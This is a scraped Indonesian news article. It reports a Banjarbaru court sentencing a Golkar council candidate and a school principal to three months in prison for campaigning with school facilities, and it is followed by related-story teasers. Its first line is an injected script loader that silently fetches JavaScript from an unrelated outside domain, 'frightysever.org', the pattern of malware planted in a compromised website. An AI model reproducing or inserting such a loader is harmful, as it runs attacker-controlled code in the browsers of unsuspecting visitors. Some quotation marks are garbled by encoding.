(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dua terdakwa kasus tindak pidana pemilu di Pengadilan Negeri (PN) Banjarbaru hanya bisa tertunduk lesu. Ketukan suara palu hakim, mengantarkan vonis hukuman masing-masing tiga bulan penjara dan denda Rp 2 juta, pada Kamis (24/1) sore tadi.
Sidang putusan tersebut, Hakim Ketua Vivi Siregar memutus kedua terdakwa yakni Caleg Partai Golkar Banjarbaru Rizali Hadi dan Kepala Sekolah SDN Guntung Manggis 2 Nurdin, terbuti dengan sengaja berkampanye menggunakan fasilitas pendidikan pemerintah. Hal ini sesuai dengan tuntutan Jaksa Penuntut Umum (JPU) Budi Muklis, bahwa perbuatan kedua terdakwa Rizali Hadi dan Nurdin terbukti melanggar Pasal 493 Jo.Pasal 280 Ayat (2) Undang-Undang Republik Indonesia Nomor 7 Tahun 2017 tentang Pemilihan Umum.
Selama proses sidang yang berlangsung beberapa waktu terakhir, kedua terdakwa memang mengakui perbuatannya dan menyesali. Hal tersebut juga diperkuat dengan dihadirkannya dua saksi ahli yaitu Dr Fathul Achmadi SH MH, ahli hukum pidana dan Dr Sabhan MPd ahli bahasa.
Berdasarkan keterangan Ahli hukum pidana Dr Fathul Achmadi dari Universitas Lambung Mangkurat (UNLAM) Banjarmasin, perbuatan Nurdin sebagai Kepsek tersebut sangat menguntungkan bagi Rizali Hadi selaku Calon Tetap Anggota DPRD Banjarbaru pada Pemilu 2019 nanti.
“Itu telah memenuhi rumusan tindak pidana Pemilihan Umum dengan sengaja menggunakan fasilitas pendidikan atau mengikutsertakan Aparatur Sipil Negara (ASN) dalam kampanye,†jelasnya.
Sedangkan berdasarkan keterangan Ahli Bahasa Dr Sabhan terkait Kalender milik terdakwa Rizali Hadi, ia mengatakan bahwa dengan jelas kalender tersebut merupakan ajakan dari yang bersangkutan untuk memilih dia, mendukung, mendoakan, dan memenangkan. “Jadi intinya ini adalah ajakan,†terangnya kepada Majelis Hakim.
Meski sudah di vonis dan dijatuhi hukuman, kedua terdakwa mengatakan masih akan berpikir dan merundingkan keputusan tersebut.
Menanggapi hal tersebut, JPU Budi Mukhlis mengatakan yang terpenting tuntutan yang diajukan telah terbukti dan ini menjadi perhatian bagi para caleg untuk tidak melakukan hal sama. “Ada kesempatan untuk pikir-pikir 3 hari kedepan, mau banding atau tidak. Tapi yang jelas keduanya terbukti bersalah dan ini menjadi waning bagi para caleg di luar sana,†ucap Budi Mukhlis.
KANALKALIMANTAN.COM, BANDUNG - Direktur Utama PT PLN (Persero) Darmawan Prasodjo memastikan seluruh infrastruktur Stasiun Pengisian… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri (Wamen) Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan sistem… Read More
KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
This website uses cookies.